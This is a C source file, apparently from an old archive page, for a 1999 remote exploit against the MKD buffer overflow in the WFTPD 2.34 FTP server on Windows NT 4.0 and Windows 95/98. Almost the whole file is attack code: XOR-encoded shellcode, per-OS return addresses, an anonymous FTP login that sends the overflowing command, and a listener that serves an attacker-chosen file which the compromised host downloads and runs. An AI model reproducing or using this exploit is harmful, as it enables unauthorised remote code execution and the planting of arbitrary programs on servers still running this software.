home *** CD-ROM | disk | FTP | other *** search
- /*
- * $Id: wftpdexp.c,v 1.1.1.1 2005/02/12 19:30:33 loni Exp $
- *
- * Descrition: Exploit program for the WFTPD 2.34 buffer overflow in MKD
- *
- * Author: Alberto Solino (asolino@core-sdi.com)
- *
- * Vulnerable Systems:
- * Microsoft Windows NT 4.0 Service Pack 3
- * Microsoft Windows NT 4.0 Service Pack 4
- * Microsoft Windows 95
- * Microsoft Windows 98
- *
- * Copyright (c) 1998,1999 CORE SDI S.A., Buenos Aires, Argentina.
- * All rights reserved.
- *
- * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
- * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
- * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
- * FROM THE USE OR MISUSE OF THIS SOFTWARE.
- *
- */
-
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/wait.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <unistd.h>
- #include <signal.h>
- #include <setjmp.h>
- #include <stdlib.h>
- #include <string.h>
- #include <stdio.h>
-
- #define BUFLEN 8192
- #define JUMP_TO_CALL_EAX_SP3 0x77fa5ac7
- #define JUMP_TO_CALL_EAX_SP4 0x77f7635d
- #define JUMP_TO_CALL_EAX_98 0xbff7ff7b
- #define JUMP_TO_CALL_EAX_95 0x7f711130
- #define JUMP_TO_BEGIN 0xe953feffff
-
- #define IP_OFFSET 261
- #define PORT_OFFSET 259
- #define XOR_MASK 0x98
- #define DEFAULT_PORT 0x1515
-
- jmp_buf jmpbuf;
- int ssock;
- int handler_sigusr1();
- int handler_sigchld();
- int handler_sigterm();
-
- char shell_code[]="MKD "
- "\xeb\xe\x5e\x56\x5f\xac\x3c\xa0\x74\xb\x90\x34\x98\xaa\xeb\xf5\xe8\xed\xff"
- "\xff\xff"
- "\x70\x98\x98\x98\x98\x8\xc6\x1b\x76\x9d\x19\x76\x98\x99\x98\x98\x23\x98\x9a"
- "\x98\x98\x99\x6b\x27\x17\x9a\x98\x98\x99\x6f\x19\x74\x98\x9a\x98\x98\xcf\xce"
- "\xa9\x51\xfe\xd9\xfe\xd9\xc9\xcb\xcb\x22\xc8\x20\xdd\x98\x67\x8a\x11\x5e\xc3"
- "\xa8\x58\x4f\xdb\x1c\x58\xed\x60\x4f\x1c\x58\xec\x94\xcb\xce\x22\xd4\x20\xdd"
- "\x98\x67\x8a\x33\x73\x7f\xc1\xdb\x7a\x4e\xc6\xc7\xa9\x4a\xca\xda\xca\xda\xca"
- "\x67\xcf\x80\xc8\xf2\x88\x22\x70\x99\x98\x98\x99\x6a\xca\xc8\x67\xcf\x84\xa9"
- "\x58\xfe\xd0\xc8\xfe\xd8\xc8\x67\xcf\x88\xce\x11\x5e\xc1\xc0\xc8\xc9\xa9\x4a"
- "\xca\xfe\xda\xfe\x59\x7a\x9b\xfe\x1b\x5a\x9c\xca\x22\x1a\x9a\x98\x98\x99\x52"
- "\xca\xc8\x67\xcf\xbc\xa9\x4a\xda\xda\xc1\xc0\xc9\xc8\xca\x22\x1a\x9a\x98\x98"
- "\x99\x52\xca\x67\x8f\x11\x5b\xc0\xc8\xa9\x4a\xca\xfe\xd2\xca\xce\xc8\x67\xcf"
- "\xbc\x1d\x58\xec\x90\xc8\xce\xcb\x67\xcf\x9c\x73\x7f\xcb\x67\xcf\x90\xc1\xc1"
- "\xa9\x4a\xda\xca\x22\x1a\x9a\x98\x98\x99\x52\xca\x67\xcf\x94\xa9\x4a\xca\x67"
- "\xcf\x8c\x98\x98\x9a\x98\x8d\x8d\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
- "\x98\x98\x98\x98\x98\x98\x98\x98\x98\xd3\xdd\xca\xd6\xdd\xd4\xab\xaa\xb6\xdc"
- "\xd4\xd4\x98\xc7\xf4\xfb\xea\xfd\xf9\xec\x98\xc7\xf4\xef\xea\xf1\xec\xfd\x98"
- "\xc7\xf4\xfb\xf4\xf7\xeb\xfd\x98\xcf\xf1\xf6\xdd\xe0\xfd\xfb\x98\xdf\xf4\xf7"
- "\xfa\xf9\xf4\xd9\xf4\xf4\xf7\xfb\x98\xdd\xe0\xf1\xec\xc8\xea\xf7\xfb\xfd\xeb"
- "\xeb\x98\x98\xcf\xcb\xd7\xdb\xd3\xab\xaa\xb6\xdc\xd4\xd4\x98\xeb\xf7\xfb\xf3"
- "\xfd\xec\x98\xfb\xf7\xf6\xf6\xfd\xfb\xec\x98\xeb\xfd\xf6\xfc\x98\xea\xfd\xfb"
- "\xee\x98\xcf\xcb\xd9\xcb\xec\xf9\xea\xec\xed\xe8\x98\xcf\xcb\xd9\xdb\xf4\xfd"
- "\xf9\xf6\xed\xe8\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
- "\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
- "\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
- "\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98\x98"
- "\x98\x98\x98\xa0\n\n";
-
- void readSock(int sock)
- {
- char myBuff[256];
- char c;
- char *cp=myBuff;
-
- do {
- recv(sock,&c, 1, 0);
- fprintf(stdout,"%c",c);
- if ( cp < &myBuff[sizeof(myBuff)-1] )
- *cp++ = c;
- if ( c == '\n' ) {
- if ( myBuff[3] != '-' )
- break;
- else
- cp = myBuff;
- }
- } while(1);
- }
-
- void usage(char *prg)
- {
- printf("wftpd v.2.34 exploit (c) 1999 Core SDI S.A.\n");
- printf("Target OS: WinNT 4.0 SP5/SP4/SP3 Win95/98\n\n");
- printf("Usage mode: %s -s os <hostname> <filetosend> [srvport]\n\n",
- prg);
- printf("hostname\t\t: target host\n");
- printf("filetosend\t\t: filename to send and execute\n");
- printf(
- "srvport\t\t\t: port number to wait connection from target host\n");
- printf("\t\t\t machine (optional).\n");
- printf("-s os\t\t\t: set target operative system\n");
- printf("\t\t\t\tsp4 for WinNT 4.0 SP4 (English)\n");
- printf("\t\t\t\tsp3 for WinNT 4.0 SP3 (English)\n\n");
- printf("\t\t\t\tw95 for Windows 95 (English)\n\n");
- printf("\t\t\t\tw98 for Windows 98 (English)\n\n");
- exit(254);
- }
-
- int main(int argc, char **argv)
- {
- int sock;
- struct sockaddr_in sin;
- int port;
- u_long ip;
- unsigned char d;
- struct hostent *phe;
- char *progname = argv[0];
- char *hostname;
- char *filename;
- char localhost[100];
- int j;
- pid_t pid;
- unsigned char spnum=0;
-
- while ((j = getopt(argc, argv, "s:")) != -1)
- switch (j) {
- case 's':
- if( (strcasecmp(optarg, "sp4")==0) ) {
- spnum=4;
- }
- else if( (strcasecmp(optarg, "sp3")==0) ) {
- spnum=3;
- }
- else if( (strcasecmp(optarg, "w95")==0) ) {
- spnum=95;
- }
- else if( (strcasecmp(optarg, "w98")==0) ) {
- spnum=98;
- }
- else {
- printf("\ninvalid target os!\n\n");
- usage(progname);
- }
- break;
- default:
- usage(progname);
- }
-
- argc -= optind;
- argv += optind;
-
- if (argc < 2 || spnum == 0) {
- usage(progname);
- exit(254);
- } else {
- hostname = argv[0];
- filename = argv[1];
- if ( strlen(filename) > 12 ) {
- fprintf(stderr,"Filename must be <= 12 characteres\n");
- exit(254);
- }
- if ( (argc - 2) > 0 )
- port = atoi(argv[2]);
- else
- port = DEFAULT_PORT;
- }
-
- printf("wftpd exploit (c) 1999 Core SDI S.A.\n\n");
-
- switch ( spnum ) {
-
- case 3:
- shell_code[271] = ((JUMP_TO_CALL_EAX_SP3 >> 24) & 0xff);
- shell_code[270] = ((JUMP_TO_CALL_EAX_SP3 >> 16) & 0xff);
- shell_code[269] = ((JUMP_TO_CALL_EAX_SP3 >> 8 ) & 0xff);
- shell_code[268] = (JUMP_TO_CALL_EAX_SP3 & 0xff);
-
- break;
-
- case 4:
- shell_code[271] = ((JUMP_TO_CALL_EAX_SP4 >> 24) & 0xff);
- shell_code[270] = ((JUMP_TO_CALL_EAX_SP4 >> 16) & 0xff);
- shell_code[269] = ((JUMP_TO_CALL_EAX_SP4 >> 8 ) & 0xff);
- shell_code[268] = (JUMP_TO_CALL_EAX_SP4 & 0xff);
-
- break;
-
- case 98:
- shell_code[271] = ((JUMP_TO_CALL_EAX_98 >> 24) & 0xff);
- shell_code[270] = ((JUMP_TO_CALL_EAX_98 >> 16) & 0xff);
- shell_code[269] = ((JUMP_TO_CALL_EAX_98 >> 8 ) & 0xff);
- shell_code[268] = (JUMP_TO_CALL_EAX_98 & 0xff);
- break;
-
- case 95:
- shell_code[271] = ((JUMP_TO_CALL_EAX_95 >> 24) & 0xff);
- shell_code[270] = ((JUMP_TO_CALL_EAX_95 >> 16) & 0xff);
- shell_code[269] = ((JUMP_TO_CALL_EAX_95 >> 8 ) & 0xff);
- shell_code[268] = (JUMP_TO_CALL_EAX_95 & 0xff);
-
- break;
- }
-
- shell_code[428] = ((JUMP_TO_BEGIN >> 32) & 0xff);
- shell_code[429] = ((JUMP_TO_BEGIN >> 24) & 0xff);
- shell_code[430] = ((JUMP_TO_BEGIN >> 16) & 0xff);
- shell_code[431] = ((JUMP_TO_BEGIN >> 8) & 0xff);
- shell_code[432] = ((JUMP_TO_BEGIN) & 0xff);
-
- if ( gethostname(localhost,sizeof(localhost)) < 0) {
- perror("gethostname(3)");
- exit(254);
- }
-
- if ( (phe = gethostbyname(localhost)) ) {
- bcopy( phe->h_addr, (char *)&ip, sizeof(u_long) );
- } else if ( (ip = inet_addr(hostname)) == INADDR_NONE ) {
- fprintf(stderr,"can't get %s host entry\n", hostname);
- exit(254);
- }
-
- ip=ntohl(ip);
-
- d = (char) (((port&0xff00) >> 8) ^ XOR_MASK);
- if ( (d == 0x20 ) || (d == 00) || (d == 0xa) || (d == 0x2f) ||
- (d == 0xde) || (d == XOR_MASK) || (d == 0xce) ) {
- fprintf(stderr,
- "Couldn't use %d xored with current mask, change it!\n",
- port);
- exit(254);
- } else
- shell_code[PORT_OFFSET] = d;
-
- d = (char) ((port&0xff) ^ XOR_MASK);
- if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
- fprintf(stderr,
- "Couldn't use %d xored with current mask, change it!\n",
- port);
- exit(254);
- } else
- shell_code[PORT_OFFSET+1] = d;
-
- d = (char) (((ip&0xff000000) >> 24) ^ XOR_MASK);
- if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
- fprintf(stderr,
- "Couldn't use current client ip address xored, "
- "change it!\n");
- exit(254);
- } else
- shell_code[IP_OFFSET] = d;
-
- d = (char) (((ip&0xff0000) >> 16) ^ XOR_MASK);
- if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
- fprintf(stderr,
- "Couldn't use current client ip address xored, "
- "change it!\n");
- exit(254);
- } else
- shell_code[IP_OFFSET+1] = d;
-
-
- d = (char) (((ip&0xff00) >> 8) ^ XOR_MASK);
- if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
- fprintf(stderr,
- "Couldn't use current client ip address xored, "
- "change it!\n");
- exit(254);
- } else
- shell_code[IP_OFFSET+2] = d;
-
- d = (char) ((ip&0xff) ^ XOR_MASK);
- if ( (d == 0xa) || (d == 00) || (d == 0xa0) || (d == XOR_MASK) ) {
- fprintf(stderr,
- "Couldn't use current client ip address xored, "
- "change it!\n");
- exit(254);
- } else
- shell_code[IP_OFFSET+3] = d;
-
- if ( (pid = fork()) < 0) {
- /* fork error */
- perror("fork(2)");
- exit(254);
- } else if (pid == 0) {
- /* Child */
- struct sockaddr_in ssin;
- FILE *fp;
- char buffer[BUFLEN];
- int cnt;
- int alen=0;
-
- signal(SIGTERM, (void *) &handler_sigterm);
- if ( (fp=fopen(filename,"rb")) == NULL ) {
- perror("fopen(3)");
- close(ssock);
- exit(254);
- }
- printf("Creatin' socket... ");
-
- if ( (sock=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
- perror("socket(2)");
- exit(254);
- }
-
- printf("OK\n");
-
- bzero(&sin,sizeof(sin));
- sin.sin_family = AF_INET;
- sin.sin_port = htons(port);
- sin.sin_addr.s_addr = INADDR_ANY;
-
- printf("Binding socket... ");
-
- if ( bind(sock,(struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
- perror("bind(2)");
- exit(254);
- }
-
- printf("OK\n");
-
- printf("Listening socket... ");
- if ( listen(sock,5) < 0 ) {
- perror("listen(2)");
- exit(254);
- }
-
- printf("OK\n");
-
- kill(getppid(),SIGUSR1);
-
- printf("Ready to accept on port %d\n",port);
- fflush(stdout);
- while (1) {
- ssock = accept(sock, (struct sockaddr *)&ssin, &alen);
- printf("Receiving conection...\n");
- fflush(stdout);
- printf("Sending %s\n",filename);
- send(ssock,filename,strlen(filename),0);
- while ( !feof(fp) ) {
- cnt=fread(&buffer,1,BUFLEN,fp);
- if ( (send(ssock,buffer,cnt,0)) != cnt) {
- perror("send(2)");
- close(ssock);
- exit(254);
- }
- }
- printf("Finishing connection\n");
- fclose(fp);
- close(ssock);
- exit(1);
- }
- } else {
- /* Parent */
- signal(SIGCHLD, (void *) &handler_sigchld);
- signal(SIGUSR1, (void *) &handler_sigusr1);
- if ( setjmp(jmpbuf) == 0 )
- pause();
-
- if ( (sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0 ) {
- kill(pid,SIGTERM);
- perror("socket(2)");
- exit(254);
- }
-
-
- bzero(&sin, sizeof(struct sockaddr_in));
- sin.sin_family = AF_INET;
- sin.sin_port = htons(21);
-
- if ( (phe = gethostbyname(hostname)) ) {
- bcopy( phe->h_addr, (char *)&ip, sizeof(u_long) );
- } else if ( (ip = inet_addr(hostname)) == INADDR_NONE ) {
- fprintf(stderr,"can't get %s host entry\n", hostname);
- kill(pid,SIGTERM);
- exit(254);
- }
-
- sin.sin_addr.s_addr = ip;
-
- if (connect(sock,(struct sockaddr *)&sin,
- sizeof(struct sockaddr))<0) {
- kill(pid,SIGTERM);
- perror("connect(2)");
- exit(254);
- }
-
-
- readSock(sock);
- fprintf(stdout,"\nLogin anonymous\n");
- send(sock, "USER ftp\n", strlen("USER ftp\n"),0);
- readSock(sock);
- send(sock, "PASS blueskies\n", strlen("PASS blueskies\n"),0);
- readSock(sock);
- fprintf(stdout,"\nSending exploit!\n");
- fflush(stdout);
- send(sock, shell_code, strlen(shell_code),0);
-
- waitpid(0,NULL,0);
- close(sock);
- exit(1);
-
- }
-
- return (0);
- }
-
- int handler_sigusr1()
- {
- longjmp(jmpbuf,1);
- }
-
- int handler_sigchld()
- {
- exit(254);
- }
-
- int handler_sigterm()
- {
- close(ssock);
- exit(254);
- }
-